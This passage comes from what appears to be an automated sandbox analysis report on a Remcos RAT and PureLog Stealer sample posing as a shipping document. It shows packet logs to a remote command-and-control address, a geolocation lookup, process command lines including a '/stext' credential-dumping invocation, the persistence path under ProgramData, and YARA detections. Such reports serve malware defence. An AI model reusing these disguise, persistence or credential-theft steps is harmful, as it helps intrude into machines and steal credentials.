                                                                                      Nov 28, 2024 17:42:08.739428997 CET790249709104.250.180.178192.168.2.5
                                                                                      Nov 28, 2024 17:42:08.742690086 CET790249709104.250.180.178192.168.2.5
                                                                                      Nov 28, 2024 17:42:08.742723942 CET790249709104.250.180.178192.168.2.5
                                                                                      Nov 28, 2024 17:42:08.742758036 CET497097902192.168.2.5104.250.180.178
                                                                                      Nov 28, 2024 17:42:08.743186951 CET790249709104.250.180.178192.168.2.5
                                                                                      Nov 28, 2024 17:42:08.743257999 CET497097902192.168.2.5104.250.180.178
                                                                                      Nov 28, 2024 17:42:08.745565891 CET790249709104.250.180.178192.168.2.5
                                                                                      Nov 28, 2024 17:42:08.745681047 CET790249709104.250.180.178192.168.2.5
                                                                                      Nov 28, 2024 17:42:08.745726109 CET497097902192.168.2.5104.250.180.178
                                                                                      Nov 28, 2024 17:42:08.746088028 CET790249709104.250.180.178192.168.2.5
                                                                                      Nov 28, 2024 17:42:08.746218920 CET790249709104.250.180.178192.168.2.5
                                                                                      Nov 28, 2024 17:42:08.746268988 CET497097902192.168.2.5104.250.180.178
                                                                                      Nov 28, 2024 17:42:08.746319056 CET790249709104.250.180.178192.168.2.5
                                                                                      Nov 28, 2024 17:42:08.747387886 CET790249709104.250.180.178192.168.2.5
                                                                                      Nov 28, 2024 17:42:08.747468948 CET497097902192.168.2.5104.250.180.178
                                                                                      Nov 28, 2024 17:42:08.747510910 CET790249709104.250.180.178192.168.2.5
                                                                                      Nov 28, 2024 17:42:08.748404026 CET790249709104.250.180.178192.168.2.5
                                                                                      Nov 28, 2024 17:42:08.748482943 CET497097902192.168.2.5104.250.180.178
                                                                                      Nov 28, 2024 17:42:08.750154018 CET790249709104.250.180.178192.168.2.5
                                                                                      Nov 28, 2024 17:42:08.750262976 CET790249709104.250.180.178192.168.2.5
                                                                                      Nov 28, 2024 17:42:08.750322104 CET497097902192.168.2.5104.250.180.178
                                                                                      Nov 28, 2024 17:42:08.782551050 CET790249709104.250.180.178192.168.2.5
                                                                                      Nov 28, 2024 17:42:08.782613993 CET790249709104.250.180.178192.168.2.5
                                                                                      Nov 28, 2024 17:42:08.782697916 CET497097902192.168.2.5104.250.180.178
                                                                                      Nov 28, 2024 17:42:08.784534931 CET790249709104.250.180.178192.168.2.5
                                                                                      Nov 28, 2024 17:42:08.784742117 CET790249709104.250.180.178192.168.2.5
                                                                                      Nov 28, 2024 17:42:08.784807920 CET497097902192.168.2.5104.250.180.178
                                                                                      Nov 28, 2024 17:42:08.785060883 CET790249709104.250.180.178192.168.2.5
                                                                                      Nov 28, 2024 17:42:08.785111904 CET790249709104.250.180.178192.168.2.5
                                                                                      Nov 28, 2024 17:42:08.785175085 CET497097902192.168.2.5104.250.180.178
                                                                                      Nov 28, 2024 17:42:08.789413929 CET790249709104.250.180.178192.168.2.5
                                                                                      Nov 28, 2024 17:42:08.789429903 CET790249709104.250.180.178192.168.2.5
                                                                                      Nov 28, 2024 17:42:08.789475918 CET497097902192.168.2.5104.250.180.178
                                                                                      Nov 28, 2024 17:42:08.789932013 CET790249709104.250.180.178192.168.2.5
                                                                                      Nov 28, 2024 17:42:08.794126987 CET790249709104.250.180.178192.168.2.5
                                                                                      Nov 28, 2024 17:42:08.794178009 CET497097902192.168.2.5104.250.180.178
                                                                                      Nov 28, 2024 17:42:08.794198990 CET790249709104.250.180.178192.168.2.5
                                                                                      Nov 28, 2024 17:42:08.794615984 CET790249709104.250.180.178192.168.2.5
                                                                                      Nov 28, 2024 17:42:08.794713974 CET497097902192.168.2.5104.250.180.178
                                                                                      Nov 28, 2024 17:42:08.804235935 CET790249709104.250.180.178192.168.2.5
                                                                                      Nov 28, 2024 17:42:08.804342031 CET790249709104.250.180.178192.168.2.5
                                                                                      Nov 28, 2024 17:42:08.804403067 CET497097902192.168.2.5104.250.180.178
                                                                                      Nov 28, 2024 17:42:08.804666042 CET790249709104.250.180.178192.168.2.5
                                                                                      Nov 28, 2024 17:42:08.809453964 CET790249709104.250.180.178192.168.2.5
                                                                                      Nov 28, 2024 17:42:08.809499979 CET497097902192.168.2.5104.250.180.178
                                                                                      Nov 28, 2024 17:42:08.809628963 CET790249709104.250.180.178192.168.2.5
                                                                                      Nov 28, 2024 17:42:08.809880972 CET790249709104.250.180.178192.168.2.5
                                                                                      Nov 28, 2024 17:42:08.809937000 CET497097902192.168.2.5104.250.180.178
                                                                                      Nov 28, 2024 17:42:08.814084053 CET790249709104.250.180.178192.168.2.5
                                                                                      Nov 28, 2024 17:42:08.814176083 CET790249709104.250.180.178192.168.2.5
                                                                                      Nov 28, 2024 17:42:08.814244032 CET497097902192.168.2.5104.250.180.178
                                                                                      Nov 28, 2024 17:42:08.814620972 CET790249709104.250.180.178192.168.2.5
                                                                                      Nov 28, 2024 17:42:08.814768076 CET790249709104.250.180.178192.168.2.5
                                                                                      Nov 28, 2024 17:42:08.814815044 CET497097902192.168.2.5104.250.180.178
                                                                                      Nov 28, 2024 17:42:08.814825058 CET790249709104.250.180.178192.168.2.5
                                                                                      Nov 28, 2024 17:42:08.815812111 CET790249709104.250.180.178192.168.2.5
                                                                                      Nov 28, 2024 17:42:08.815857887 CET497097902192.168.2.5104.250.180.178
                                                                                      Nov 28, 2024 17:42:08.819528103 CET790249709104.250.180.178192.168.2.5
                                                                                      Nov 28, 2024 17:42:08.819597006 CET790249709104.250.180.178192.168.2.5
                                                                                      Nov 28, 2024 17:42:08.819664001 CET497097902192.168.2.5104.250.180.178
                                                                                      Nov 28, 2024 17:42:08.819973946 CET790249709104.250.180.178192.168.2.5
                                                                                      Nov 28, 2024 17:42:08.824161053 CET790249709104.250.180.178192.168.2.5
                                                                                      Nov 28, 2024 17:42:08.824224949 CET497097902192.168.2.5104.250.180.178
                                                                                      Nov 28, 2024 17:42:08.824506998 CET790249709104.250.180.178192.168.2.5
                                                                                      Nov 28, 2024 17:42:08.824616909 CET790249709104.250.180.178192.168.2.5
                                                                                      Nov 28, 2024 17:42:08.824675083 CET497097902192.168.2.5104.250.180.178
                                                                                      Nov 28, 2024 17:42:08.825578928 CET790249709104.250.180.178192.168.2.5
                                                                                      Nov 28, 2024 17:42:08.825596094 CET790249709104.250.180.178192.168.2.5
                                                                                      Nov 28, 2024 17:42:08.825664043 CET497097902192.168.2.5104.250.180.178
                                                                                      Nov 28, 2024 17:42:08.834269047 CET790249709104.250.180.178192.168.2.5
                                                                                      Nov 28, 2024 17:42:08.834362030 CET790249709104.250.180.178192.168.2.5
                                                                                      Nov 28, 2024 17:42:08.834443092 CET497097902192.168.2.5104.250.180.178
                                                                                      Nov 28, 2024 17:42:08.834784031 CET790249709104.250.180.178192.168.2.5
                                                                                      Nov 28, 2024 17:42:08.834913969 CET790249709104.250.180.178192.168.2.5
                                                                                      Nov 28, 2024 17:42:08.834983110 CET497097902192.168.2.5104.250.180.178
                                                                                      Nov 28, 2024 17:42:08.835021019 CET790249709104.250.180.178192.168.2.5
                                                                                      Nov 28, 2024 17:42:08.835949898 CET790249709104.250.180.178192.168.2.5
                                                                                      Nov 28, 2024 17:42:08.836009026 CET497097902192.168.2.5104.250.180.178
                                                                                      Nov 28, 2024 17:42:08.839349031 CET790249709104.250.180.178192.168.2.5
                                                                                      Nov 28, 2024 17:42:08.839427948 CET790249709104.250.180.178192.168.2.5
                                                                                      Nov 28, 2024 17:42:08.839497089 CET497097902192.168.2.5104.250.180.178
                                                                                      Nov 28, 2024 17:42:08.839840889 CET790249709104.250.180.178192.168.2.5
                                                                                      Nov 28, 2024 17:42:08.844609976 CET790249709104.250.180.178192.168.2.5
                                                                                      Nov 28, 2024 17:42:08.844660044 CET790249709104.250.180.178192.168.2.5
                                                                                      Nov 28, 2024 17:42:08.844666958 CET497097902192.168.2.5104.250.180.178
                                                                                      Nov 28, 2024 17:42:08.849272013 CET790249709104.250.180.178192.168.2.5
                                                                                      Nov 28, 2024 17:42:08.849323034 CET497097902192.168.2.5104.250.180.178
                                                                                      Nov 28, 2024 17:42:08.849430084 CET790249709104.250.180.178192.168.2.5
                                                                                      Nov 28, 2024 17:42:08.849755049 CET790249709104.250.180.178192.168.2.5
                                                                                      Nov 28, 2024 17:42:08.849821091 CET497097902192.168.2.5104.250.180.178
                                                                                      Nov 28, 2024 17:42:08.853996038 CET790249709104.250.180.178192.168.2.5
                                                                                      Nov 28, 2024 17:42:08.854115963 CET790249709104.250.180.178192.168.2.5
                                                                                      Nov 28, 2024 17:42:08.854196072 CET497097902192.168.2.5104.250.180.178
                                                                                      Nov 28, 2024 17:42:08.854456902 CET790249709104.250.180.178192.168.2.5
                                                                                      Nov 28, 2024 17:42:08.854609013 CET790249709104.250.180.178192.168.2.5
                                                                                      Nov 28, 2024 17:42:08.854649067 CET497097902192.168.2.5104.250.180.178
                                                                                      Nov 28, 2024 17:42:08.854701042 CET790249709104.250.180.178192.168.2.5
                                                                                      Nov 28, 2024 17:42:08.855693102 CET790249709104.250.180.178192.168.2.5
                                                                                      Nov 28, 2024 17:42:08.855734110 CET497097902192.168.2.5104.250.180.178
                                                                                      Nov 28, 2024 17:42:08.859416962 CET790249709104.250.180.178192.168.2.5
                                                                                      Nov 28, 2024 17:42:08.859832048 CET790249709104.250.180.178192.168.2.5
                                                                                      Nov 28, 2024 17:42:08.859909058 CET497097902192.168.2.5104.250.180.178
                                                                                      Nov 28, 2024 17:42:08.859931946 CET790249709104.250.180.178192.168.2.5
                                                                                      Nov 28, 2024 17:42:08.864376068 CET790249709104.250.180.178192.168.2.5
                                                                                      Nov 28, 2024 17:42:08.864418030 CET790249709104.250.180.178192.168.2.5
                                                                                      Nov 28, 2024 17:42:08.864443064 CET497097902192.168.2.5104.250.180.178
                                                                                      Nov 28, 2024 17:42:08.864839077 CET790249709104.250.180.178192.168.2.5
                                                                                      Nov 28, 2024 17:42:08.864892960 CET497097902192.168.2.5104.250.180.178
                                                                                      Nov 28, 2024 17:42:08.870918989 CET790249709104.250.180.178192.168.2.5
                                                                                      Nov 28, 2024 17:42:08.871026993 CET790249709104.250.180.178192.168.2.5
                                                                                      Nov 28, 2024 17:42:08.871135950 CET497097902192.168.2.5104.250.180.178
                                                                                      Nov 28, 2024 17:42:08.871417999 CET790249709104.250.180.178192.168.2.5
                                                                                      Nov 28, 2024 17:42:08.874496937 CET790249709104.250.180.178192.168.2.5
                                                                                      Nov 28, 2024 17:42:08.874566078 CET497097902192.168.2.5104.250.180.178
                                                                                      Nov 28, 2024 17:42:08.874591112 CET790249709104.250.180.178192.168.2.5
                                                                                      Nov 28, 2024 17:42:08.874959946 CET790249709104.250.180.178192.168.2.5
                                                                                      Nov 28, 2024 17:42:08.875010014 CET497097902192.168.2.5104.250.180.178
                                                                                      Nov 28, 2024 17:42:08.879187107 CET790249709104.250.180.178192.168.2.5
                                                                                      Nov 28, 2024 17:42:08.879597902 CET790249709104.250.180.178192.168.2.5
                                                                                      Nov 28, 2024 17:42:08.879652977 CET497097902192.168.2.5104.250.180.178
                                                                                      Nov 28, 2024 17:42:08.879729033 CET790249709104.250.180.178192.168.2.5
                                                                                      Nov 28, 2024 17:42:08.884290934 CET790249709104.250.180.178192.168.2.5
                                                                                      Nov 28, 2024 17:42:08.884315014 CET790249709104.250.180.178192.168.2.5
                                                                                      Nov 28, 2024 17:42:08.886127949 CET497097902192.168.2.5104.250.180.178
                                                                                      Nov 28, 2024 17:42:10.092252970 CET497097902192.168.2.5104.250.180.178
                                                                                      Nov 28, 2024 17:42:10.213805914 CET790249709104.250.180.178192.168.2.5
                                                                                      Nov 28, 2024 17:42:10.213824034 CET790249709104.250.180.178192.168.2.5
                                                                                      Nov 28, 2024 17:42:10.213833094 CET790249709104.250.180.178192.168.2.5
                                                                                      Nov 28, 2024 17:42:10.213843107 CET790249709104.250.180.178192.168.2.5
                                                                                      Nov 28, 2024 17:42:10.213855982 CET790249709104.250.180.178192.168.2.5
                                                                                      Nov 28, 2024 17:42:10.213962078 CET497097902192.168.2.5104.250.180.178
                                                                                      Nov 28, 2024 17:42:10.244410992 CET790249709104.250.180.178192.168.2.5
                                                                                      Nov 28, 2024 17:42:10.244426012 CET790249709104.250.180.178192.168.2.5
                                                                                      Nov 28, 2024 17:42:10.245882988 CET790249709104.250.180.178192.168.2.5
                                                                                      Nov 28, 2024 17:42:10.245902061 CET790249709104.250.180.178192.168.2.5
                                                                                      Nov 28, 2024 17:42:10.289093971 CET790249709104.250.180.178192.168.2.5
                                                                                      Nov 28, 2024 17:42:10.336544037 CET790249709104.250.180.178192.168.2.5
                                                                                      Nov 28, 2024 17:42:10.336555004 CET790249709104.250.180.178192.168.2.5
                                                                                      Nov 28, 2024 17:42:10.336595058 CET790249709104.250.180.178192.168.2.5
                                                                                      Nov 28, 2024 17:42:10.366801977 CET790249709104.250.180.178192.168.2.5
                                                                                      Nov 28, 2024 17:42:10.366815090 CET790249709104.250.180.178192.168.2.5
                                                                                      Nov 28, 2024 17:42:10.366823912 CET790249709104.250.180.178192.168.2.5
                                                                                      Nov 28, 2024 17:42:10.367410898 CET790249709104.250.180.178192.168.2.5
                                                                                      Nov 28, 2024 17:42:10.367486000 CET497097902192.168.2.5104.250.180.178
                                                                                      Nov 28, 2024 17:42:24.789659977 CET790249707104.250.180.178192.168.2.5
                                                                                      Nov 28, 2024 17:42:24.809555054 CET497077902192.168.2.5104.250.180.178
                                                                                      Nov 28, 2024 17:42:24.930607080 CET790249707104.250.180.178192.168.2.5
                                                                                      Nov 28, 2024 17:42:54.810672045 CET790249707104.250.180.178192.168.2.5
                                                                                      Nov 28, 2024 17:42:54.811925888 CET497077902192.168.2.5104.250.180.178
                                                                                      Nov 28, 2024 17:42:54.932791948 CET790249707104.250.180.178192.168.2.5
                                                                                      Nov 28, 2024 17:43:24.823656082 CET790249707104.250.180.178192.168.2.5
                                                                                      Nov 28, 2024 17:43:24.825129986 CET497077902192.168.2.5104.250.180.178
                                                                                      Nov 28, 2024 17:43:24.945329905 CET790249707104.250.180.178192.168.2.5
                                                                                      Nov 28, 2024 17:43:54.259391069 CET4971080192.168.2.5178.237.33.50
                                                                                      Nov 28, 2024 17:43:54.583841085 CET4971080192.168.2.5178.237.33.50
                                                                                      Nov 28, 2024 17:43:54.861778021 CET790249707104.250.180.178192.168.2.5
                                                                                      Nov 28, 2024 17:43:54.865750074 CET497077902192.168.2.5104.250.180.178
                                                                                      Nov 28, 2024 17:43:54.986984968 CET790249707104.250.180.178192.168.2.5
                                                                                      Nov 28, 2024 17:43:55.224473953 CET4971080192.168.2.5178.237.33.50
                                                                                      Nov 28, 2024 17:43:56.490143061 CET4971080192.168.2.5178.237.33.50
                                                                                      Nov 28, 2024 17:43:59.021442890 CET4971080192.168.2.5178.237.33.50
                                                                                      Nov 28, 2024 17:44:04.099639893 CET4971080192.168.2.5178.237.33.50
                                                                                      Nov 28, 2024 17:44:14.193613052 CET4971080192.168.2.5178.237.33.50
                                                                                      Nov 28, 2024 17:44:24.861752987 CET790249707104.250.180.178192.168.2.5
                                                                                      Nov 28, 2024 17:44:24.862946033 CET497077902192.168.2.5104.250.180.178
                                                                                      Nov 28, 2024 17:44:24.982878923 CET790249707104.250.180.178192.168.2.5
                                                                                      Nov 28, 2024 17:44:54.891928911 CET790249707104.250.180.178192.168.2.5
                                                                                      Nov 28, 2024 17:44:54.893126965 CET497077902192.168.2.5104.250.180.178
                                                                                      Nov 28, 2024 17:44:55.017966986 CET790249707104.250.180.178192.168.2.5
                                                                                      Nov 28, 2024 17:45:24.892757893 CET790249707104.250.180.178192.168.2.5
                                                                                      Nov 28, 2024 17:45:24.894336939 CET497077902192.168.2.5104.250.180.178
                                                                                      Nov 28, 2024 17:45:25.014868975 CET790249707104.250.180.178192.168.2.5
                                                                                      Nov 28, 2024 17:45:54.902945042 CET790249707104.250.180.178192.168.2.5
                                                                                      Nov 28, 2024 17:45:54.904748917 CET497077902192.168.2.5104.250.180.178
                                                                                      Nov 28, 2024 17:45:55.024786949 CET790249707104.250.180.178192.168.2.5

                                                                                      UDP Packets

                                                                                      TimestampSource PortDest PortSource IPDest IP
                                                                                      Nov 28, 2024 17:42:04.275909901 CET6356653192.168.2.51.1.1.1
                                                                                      Nov 28, 2024 17:42:04.494575977 CET53635661.1.1.1192.168.2.5

                                                                                      DNS Queries

                                                                                      TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                                                                                      Nov 28, 2024 17:42:04.275909901 CET192.168.2.51.1.1.10xc6bfStandard query (0)geoplugin.netA (IP address)IN (0x0001)false

                                                                                      DNS Answers

                                                                                      TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                                                                                      Nov 28, 2024 17:42:04.494575977 CET1.1.1.1192.168.2.50xc6bfNo error (0)geoplugin.net178.237.33.50A (IP address)IN (0x0001)false

                                                                                      HTTP Request Dependency Graph

                                                                                      • geoplugin.net

                                                                                      HTTP Packets

                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                      0192.168.2.549710178.237.33.50807636C:\ProgramData\Adobe\Adobe.exe
                                                                                      TimestampBytes transferredDirectionData
                                                                                      Nov 28, 2024 17:42:04.626797915 CET71OUTGET /json.gp HTTP/1.1
                                                                                      Host: geoplugin.net
                                                                                      Cache-Control: no-cache
                                                                                      Nov 28, 2024 17:42:05.960024118 CET1171INHTTP/1.1 200 OK
                                                                                      date: Thu, 28 Nov 2024 16:42:05 GMT
                                                                                      server: Apache
                                                                                      content-length: 963
                                                                                      content-type: application/json; charset=utf-8
                                                                                      cache-control: public, max-age=300
                                                                                      access-control-allow-origin: *
                                                                                      Data Raw: 7b 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 72 65 71 75 65 73 74 22 3a 22 38 2e 34 36 2e 31 32 33 2e 32 32 38 22 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 73 74 61 74 75 73 22 3a 32 30 30 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 64 65 6c 61 79 22 3a 22 31 6d 73 22 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 63 72 65 64 69 74 22 3a 22 53 6f 6d 65 20 6f 66 20 74 68 65 20 72 65 74 75 72 6e 65 64 20 64 61 74 61 20 69 6e 63 6c 75 64 65 73 20 47 65 6f 4c 69 74 65 32 20 64 61 74 61 20 63 72 65 61 74 65 64 20 62 79 20 4d 61 78 4d 69 6e 64 2c 20 61 76 61 69 6c 61 62 6c 65 20 66 72 6f 6d 20 3c 61 20 68 72 65 66 3d 27 68 74 74 70 73 3a 5c 2f 5c 2f 77 77 77 2e 6d 61 78 6d 69 6e 64 2e 63 6f 6d 27 3e 68 74 74 70 73 3a 5c 2f 5c 2f 77 77 77 2e 6d 61 78 6d 69 6e 64 2e 63 6f 6d 3c 5c 2f 61 3e 2e 22 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 63 69 74 79 22 3a 22 4e 65 77 20 59 6f 72 6b 22 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 72 65 67 69 6f 6e 22 3a 22 4e 65 77 20 59 6f 72 6b 22 2c 0a 20 20 22 67 65 [TRUNCATED]
                                                                                      Data Ascii: { "geoplugin_request":"8.46.123.228", "geoplugin_status":200, "geoplugin_delay":"1ms", "geoplugin_credit":"Some of the returned data includes GeoLite2 data created by MaxMind, available from <a href='https:\/\/www.maxmind.com'>https:\/\/www.maxmind.com<\/a>.", "geoplugin_city":"New York", "geoplugin_region":"New York", "geoplugin_regionCode":"NY", "geoplugin_regionName":"New York", "geoplugin_areaCode":"", "geoplugin_dmaCode":"501", "geoplugin_countryCode":"US", "geoplugin_countryName":"United States", "geoplugin_inEU":0, "geoplugin_euVATrate":false, "geoplugin_continentCode":"NA", "geoplugin_continentName":"North America", "geoplugin_latitude":"40.7123", "geoplugin_longitude":"-74.0068", "geoplugin_locationAccuracyRadius":"20", "geoplugin_timezone":"America\/New_York", "geoplugin_currencyCode":"USD", "geoplugin_currencySymbol":"$", "geoplugin_currencySymbol_UTF8":"$", "geoplugin_currencyConverter":0}


                                                                                      Statistics

                                                                                      CPU Usage

                                                                                      Click to jump to process

                                                                                      Memory Usage

                                                                                      Click to jump to process

                                                                                      High Level Behavior Distribution

                                                                                      Click to dive into process behavior distribution

                                                                                      Behavior

                                                                                      Click to jump to process

                                                                                      System Behavior

                                                                                      General

                                                                                      Target ID:0
                                                                                      Start time:11:41:56
                                                                                      Start date:28/11/2024
                                                                                      Path:C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe
                                                                                      Wow64 process (32bit):true
                                                                                      Commandline:"C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe"
                                                                                      Imagebase:0x9f0000
                                                                                      File size:1'129'984 bytes
                                                                                      MD5 hash:BC74E2D086D7BEF42C3604C1DAFC3EDB
                                                                                      Has elevated privileges:true
                                                                                      Has administrator privileges:true
                                                                                      Programmed in:C, C++ or other language
                                                                                      Yara matches:
                                                                                      • Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000000.00000002.2053174536.00000000058A0000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                      • Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000000.00000002.2048765608.0000000004B7E000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                      • Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000000.00000002.2048765608.0000000004B7E000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                      • Rule: Windows_Trojan_Remcos_b296e965, Description: unknown, Source: 00000000.00000002.2048765608.0000000004B7E000.00000004.00000800.00020000.00000000.sdmp, Author: unknown
                                                                                      • Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000000.00000002.2048765608.0000000004039000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                      • Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000000.00000002.2048765608.0000000004039000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                      • Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000000.00000002.2048765608.0000000004039000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                      • Rule: Windows_Trojan_Remcos_b296e965, Description: unknown, Source: 00000000.00000002.2048765608.0000000004039000.00000004.00000800.00020000.00000000.sdmp, Author: unknown
                                                                                      • Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000000.00000002.2048765608.0000000004072000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                      • Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000000.00000002.2048765608.0000000004072000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                      • Rule: Windows_Trojan_Remcos_b296e965, Description: unknown, Source: 00000000.00000002.2048765608.0000000004072000.00000004.00000800.00020000.00000000.sdmp, Author: unknown
                                                                                      • Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000000.00000002.2042873217.0000000003087000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                      Reputation:low
                                                                                      Has exited:true

                                                                                      General

                                                                                      Target ID:3
                                                                                      Start time:11:41:58
                                                                                      Start date:28/11/2024
                                                                                      Path:C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe
                                                                                      Wow64 process (32bit):true
                                                                                      Commandline:"C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe"
                                                                                      Imagebase:0xd10000
                                                                                      File size:1'129'984 bytes
                                                                                      MD5 hash:BC74E2D086D7BEF42C3604C1DAFC3EDB
                                                                                      Has elevated privileges:true
                                                                                      Has administrator privileges:true
                                                                                      Programmed in:C, C++ or other language
                                                                                      Yara matches:
                                                                                      • Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
                                                                                      • Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
                                                                                      • Rule: Windows_Trojan_Remcos_b296e965, Description: unknown, Source: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown
                                                                                      • Rule: REMCOS_RAT_variants, Description: unknown, Source: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown
                                                                                      • Rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM, Description: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003), Source: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
                                                                                      • Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000003.00000002.2041417968.0000000001507000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                      Reputation:low
                                                                                      Has exited:true

                                                                                      General

                                                                                      Target ID:4
                                                                                      Start time:11:41:58
                                                                                      Start date:28/11/2024
                                                                                      Path:C:\ProgramData\Adobe\Adobe.exe
                                                                                      Wow64 process (32bit):true
                                                                                      Commandline:"C:\ProgramData\Adobe\Adobe.exe"
                                                                                      Imagebase:0x250000
                                                                                      File size:1'129'984 bytes
                                                                                      MD5 hash:BC74E2D086D7BEF42C3604C1DAFC3EDB
                                                                                      Has elevated privileges:true
                                                                                      Has administrator privileges:true
                                                                                      Programmed in:C, C++ or other language
                                                                                      Yara matches:
                                                                                      • Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000004.00000002.2058916806.0000000002679000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                      Antivirus matches:
                                                                                      • Detection: 100%, Avira
                                                                                      • Detection: 100%, Joe Sandbox ML
                                                                                      • Detection: 53%, ReversingLabs
                                                                                      Reputation:low
                                                                                      Has exited:true

                                                                                      General

                                                                                      Target ID:5
                                                                                      Start time:11:42:00
                                                                                      Start date:28/11/2024
                                                                                      Path:C:\ProgramData\Adobe\Adobe.exe
                                                                                      Wow64 process (32bit):true
                                                                                      Commandline:"C:\ProgramData\Adobe\Adobe.exe"
                                                                                      Imagebase:0xc80000
                                                                                      File size:1'129'984 bytes
                                                                                      MD5 hash:BC74E2D086D7BEF42C3604C1DAFC3EDB
                                                                                      Has elevated privileges:true
                                                                                      Has administrator privileges:true
                                                                                      Programmed in:C, C++ or other language
                                                                                      Yara matches:
                                                                                      • Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000005.00000002.4500045437.0000000001437000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                      Reputation:low
                                                                                      Has exited:false

                                                                                      General

                                                                                      Target ID:6
                                                                                      Start time:11:42:08
                                                                                      Start date:28/11/2024
                                                                                      Path:C:\ProgramData\Adobe\Adobe.exe
                                                                                      Wow64 process (32bit):true
                                                                                      Commandline:C:\ProgramData\Adobe\Adobe.exe /stext "C:\Users\user\AppData\Local\Temp\sjwnfpnrxvemnctydvpmlfmrafenxb"
                                                                                      Imagebase:0xb50000
                                                                                      File size:1'129'984 bytes
                                                                                      MD5 hash:BC74E2D086D7BEF42C3604C1DAFC3EDB
                                                                                      Has elevated privileges:true
                                                                                      Has administrator privileges:true
                                                                                      Programmed in:C, C++ or other language
                                                                                      Reputation:low
                                                                                      Has exited:true

                                                                                      General

                                                                                      Target ID:7
                                                                                      Start time:11:42:08
                                                                                      Start date:28/11/2024
                                                                                      Path:C:\ProgramData\Adobe\Adobe.exe
                                                                                      Wow64 process (32bit):false
                                                                                      Commandline:C:\ProgramData\Adobe\Adobe.exe /stext "C:\Users\user\AppData\Local\Temp\ddbggzyktewzxiicugbnokhajlwoymmlyl"
                                                                                      Imagebase:0x170000
                                                                                      File size:1'129'984 bytes
                                                                                      MD5 hash:BC74E2D086D7BEF42C3604C1DAFC3EDB
                                                                                      Has elevated privileges:true
                                                                                      Has administrator privileges:true
                                                                                      Programmed in:C, C++ or other language
                                                                                      Reputation:low
                                                                                      Has exited:true

                                                                                      General

                                                                                      Target ID:8
                                                                                      Start time:11:42:08
                                                                                      Start date:28/11/2024
                                                                                      Path:C:\ProgramData\Adobe\Adobe.exe
                                                                                      Wow64 process (32bit):false
                                                                                      Commandline:C:\ProgramData\Adobe\Adobe.exe /stext "C:\Users\user\AppData\Local\Temp\ddbggzyktewzxiicugbnokhajlwoymmlyl"
                                                                                      Imagebase:0x340000
                                                                                      File size:1'129'984 bytes
                                                                                      MD5 hash:BC74E2D086D7BEF42C3604C1DAFC3EDB
                                                                                      Has elevated privileges:true
                                                                                      Has administrator privileges:true
                                                                                      Programmed in:C, C++ or other language
                                                                                      Reputation:low
                                                                                      Has exited:true

                                                                                      General

                                                                                      Target ID:9
                                                                                      Start time:11:42:08
                                                                                      Start date:28/11/2024
                                                                                      Path:C:\ProgramData\Adobe\Adobe.exe
                                                                                      Wow64 process (32bit):false
                                                                                      Commandline:C:\ProgramData\Adobe\Adobe.exe /stext "C:\Users\user\AppData\Local\Temp\ddbggzyktewzxiicugbnokhajlwoymmlyl"
                                                                                      Imagebase:0x270000
                                                                                      File size:1'129'984 bytes
                                                                                      MD5 hash:BC74E2D086D7BEF42C3604C1DAFC3EDB
